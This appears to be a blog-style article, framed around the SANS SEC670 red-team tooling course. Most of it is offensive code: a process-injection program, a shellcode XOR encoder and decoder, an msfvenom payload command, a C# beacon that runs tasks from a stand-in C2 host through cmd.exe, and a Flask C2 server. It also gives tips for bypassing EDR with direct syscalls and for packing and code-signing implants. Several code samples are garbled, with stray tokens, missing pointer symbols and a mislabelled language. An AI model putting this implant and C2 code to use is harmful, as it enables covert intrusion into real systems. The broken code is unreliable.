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Introduction:
As organizations increasingly establish dedicated internal tool development teams, the line between red team operator and software developer is blurring. This shift not only lifts the developer burden from operators but also enables the creation of custom, stealthier tools that bypass commercial product limitations. Jonathan Reiter’s SANS SEC670 course bridges this gap by teaching operators how to build Windows implants, shellcode, and Command & Control (C2) frameworks from scratch—with a strong emphasis on operational security (OPSEC) for both the tool and its developer.
Learning Objectives:
- Understand the architecture of Windows implants and master process injection techniques using native API calls.
- Develop custom shellcode and C2 channels with encryption, jitter, and evasion mechanisms.
- Implement advanced EDR bypasses, including direct system calls and unhooking techniques.
- The Evolution of Red Teaming: Why Dedicated Dev Teams Matter
The LinkedIn post by Jonathan Reiter highlights a crucial trend: companies are forming separate teams for internal tool development. This separation allows hiring specialized developers instead of forcing operators to juggle both roles. Benefits include stable tools, continuous development during engagements, and reduced reliance on expensive commercial products. For operators transitioning to developers, SEC670 provides the necessary skills to build Windows implants, shellcode, and C2 frameworks while maintaining OPSEC—because developers now face the same scrutiny as operators.
2. Building Windows Implants: Core Concepts
A Windows implant typically performs process injection to run shellcode in a remote process. Below is a simplified example using the classic `CreateRemoteThread` method. This code injects a message box shellcode into notepad.exe.
include <windows.h>
include <tlhelp32.h>
include <stdio.h>
// Simple MessageBox shellcode (x64)
unsigned char shellcode[] =
"\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00"
"\x48\x8D\x0D\x52\x00\x00\x00\xE9\x9E\x00\x00\x00\x4C\x8B\xDC"
...; // truncated for brevity
DWORD GetProcessIdByName(const char procName) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) return 0;
PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
DWORD pid = 0;
if (Process32First(hSnapshot, &pe)) {
do {
if (_stricmp(pe.szExeFile, procName) == 0) {
pid = pe.th32ProcessID;
break;
}
} while (Process32Next(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
return pid;
}
int main() {
DWORD pid = GetProcessIdByName("notepad.exe");
if (!pid) return 1;
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProcess) return 1;
LPVOID pRemoteMem = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, pRemoteMem, shellcode, sizeof(shellcode), NULL);
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteMem, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
return 0;
}
Compilation (MinGW):
`x86_64-w64-mingw32-gcc inject.c -o inject.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc`
What this does:
1. Finds the target process PID.
2. Opens the process with full access.
3. Allocates memory in the remote process.
4. Writes shellcode into that memory.
- Creates a remote thread to execute the shellcode.
Note: This method is heavily monitored by EDR. Modern implants use more advanced techniques like process hollowing, APC injection, or early bird injection.
3. Shellcode Development and OPSEC
Shellcode must be position-independent and often encrypted to evade signature detection. Below is a Python script to XOR‑encrypt raw shellcode and a C decoder stub.
Encryption (Python):
import sys
with open("shellcode.bin", "rb") as f:
buf = f.read()
key = 0xAA
encoded = bytearray(b ^ key for b in buf)
with open("encoded.bin", "wb") as f:
f.write(encoded)
print(f"XOR encoded with key 0x{key:02x}")
Decoding in implant (C):
void DecodeShellcode(unsigned char sc, SIZE_T len, unsigned char key) {
for (SIZE_T i = 0; i < len; i++) sc[bash] ^= key;
}
Usage:
- Generate shellcode with `msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o shellcode.bin`
- Encode it with the Python script.
- Embed the encoded bytes in your implant and call `DecodeShellcode` before execution.
OPSEC Note: XOR is trivial to break; use stronger encryption like AES and store the key remotely or derive it.
4. Command and Control (C2) Essentials
A basic C2 framework consists of a beacon (implant) and a team server. Below is a minimal HTTP beacon in C and a Flask server.
C Beacon (beacon.cs):
using System;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;
class Beacon {
static string server = "https://your-c2.com";
static int interval = 60; // seconds
static void Main() {
while (true) {
try {
WebClient wc = new WebClient();
string task = wc.DownloadString(server + "/tasks");
if (!string.IsNullOrEmpty(task)) {
// Execute task (simplified)
string result = ExecuteCommand(task);
wc.UploadString(server + "/results", result);
}
} catch { }
Thread.Sleep(interval 1000);
}
}
static string ExecuteCommand(string cmd) {
// Simple command execution
System.Diagnostics.Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName = "cmd.exe";
proc.StartInfo.Arguments = "/c " + cmd;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.StartInfo.CreateNoWindow = true;
proc.Start();
return proc.StandardOutput.ReadToEnd();
}
}
Flask C2 Server (c2server.py):
from flask import Flask, request
import json
app = Flask(<strong>name</strong>)
tasks = {"beacon-1": "whoami"} per-beacon tasks
results = {}
@app.route('/tasks')
def get_task():
beacon_id = request.remote_addr simplistic
return tasks.get(beacon_id, "")
@app.route('/results', methods=['POST'])
def post_result():
beacon_id = request.remote_addr
results[bash] = request.data.decode()
return "OK"
if <strong>name</strong> == '<strong>main</strong>':
app.run(ssl_context='adhoc') HTTPS with self-signed cert
What this does:
- The beacon periodically checks for tasks, executes them, and posts results.
- The server uses HTTPS for encryption.
- OPSEC: Add jitter, sleep randomization, and domain fronting to evade detection.
5. Evading EDR: Advanced Techniques
EDRs hook user‑mode APIs. To bypass, we can use direct system calls. Below is an example of calling `NtCreateThreadEx` via assembly (x64) in C.
include <windows.h>
typedef NTSTATUS(WINAPI pNtCreateThreadEx)(
PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes, HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE StartRoutine, PVOID Argument,
ULONG CreateFlags, SIZE_T ZeroBits, SIZE_T StackSize,
SIZE_T MaximumStackSize, PULONG AttributeList);
NTSTATUS SysNtCreateThreadEx(
PHANDLE hThread, ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjAttr, HANDLE hProcess,
LPTHREAD_START_ROUTINE lpStart, PVOID lpParam,
ULONG Flags, SIZE_T ZeroBits, SIZE_T StackSize,
SIZE_T MaxStackSize, PULONG AttrList) {
NTSTATUS status;
pNtCreateThreadEx NtCreateThreadEx = (pNtCreateThreadEx)
GetProcAddress(GetModuleHandle("ntdll.dll"), "NtCreateThreadEx");
if (!NtCreateThreadEx) return -1;
status = NtCreateThreadEx(hThread, DesiredAccess, ObjAttr, hProcess,
lpStart, lpParam, Flags, ZeroBits,
StackSize, MaxStackSize, AttrList);
return status;
}
Direct syscall approach (more advanced):
Use tools like SysWhispers to generate inline assembly that invokes syscalls without touching ntdll.dll. This completely bypasses user‑mode hooks.
Implementation steps:
1. Generate syscall stubs with SysWhispers.
- Include the generated .asm/.c files in your project.
3. Call the syscall directly, e.g., `NtCreateThreadEx(…)`.
OPSEC: Direct syscalls are harder to detect but may still be caught by kernel callbacks. Combine with unhooking or other evasion.
6. Operationalizing Tools: Dev vs Operator OPSEC
Developers must also consider OPSEC. Compiled implants should have minimal imports, no debug symbols, and avoid known malicious IOCs. Use the following checks:
- Check imports (Windows):
`dumpbin /imports implant.exe`
Look for suspicious API calls like VirtualAllocEx, WriteProcessMemory, CreateRemoteThread.
- Static analysis (Linux):
`objdump -t implant.exe | grep “Virtual\|Write\|Create”`
`strings implant.exe | grep -i “http\|https\|c2″`
- Obfuscation:
Use control flow obfuscators (e.g., LLVM obfuscator) or packers like UPX. However, packers are often signatured. -
Code signing:
Sign your tools with a valid certificate to appear legitimate. Use `signtool` from Windows SDK.
7. From Course to Real-World: SEC670 Syllabus Highlights
The SANS SEC670 course, “Red Teaming Tools – Developing Windows Implants, Shellcode, and Command and Control,” covers:
- Windows Internals for Offensive Development: Understanding processes, threads, memory, and the NT API.
- Shellcode Engineering: Writing custom shellcode, encoders, and debuggers.
- C2 Development: Building robust C2 channels with encryption, domain fronting, and Malleable C2 profiles.
- Evasion & OPSEC: Direct syscalls, unhooking, and avoiding behavioral detection.
- Operationalization: Transitioning from proof‑of‑concept to stable, red‑team‑ready tools.
More details at: https://www.sans.org/cyber-security-courses/red-teaming-tools-developing-windows-implants-shellcode-command-control/
What Undercode Say:
- Key Takeaway 1: Dedicated internal tool development teams enhance red team effectiveness by producing stable, purpose‑built tools and freeing operators to focus on operations.
- Key Takeaway 2: Mastering implant and C2 development is essential for evading modern EDR; techniques like direct syscalls and encryption must be part of every developer’s arsenal.
- Analysis: The post underscores a paradigm shift: red teams are no longer just users of tools—they are creators. By investing in developer skills, organizations gain agility and reduce reliance on commercial solutions. This also raises the bar for defenders, as custom tools are harder to signature. The SEC670 course provides a structured path for operators to acquire these advanced skills, ensuring they can build, not just use, the tools of the trade.
Prediction:
Within the next three years, we will see the rise of hybrid red‑team/developer roles as standard. AI‑assisted code generation will accelerate tool development, but also demand deeper expertise to avoid introducing new vulnerabilities. The cat‑and‑mouse game between EDR and implants will intensify, with developers leveraging machine learning to dynamically mutate code and behaviors. Ultimately, the most successful red teams will be those that treat tool development as a core competency, not an afterthought.
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IT/Security Reporter URL:
Reported By: Jonathan Reiter – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
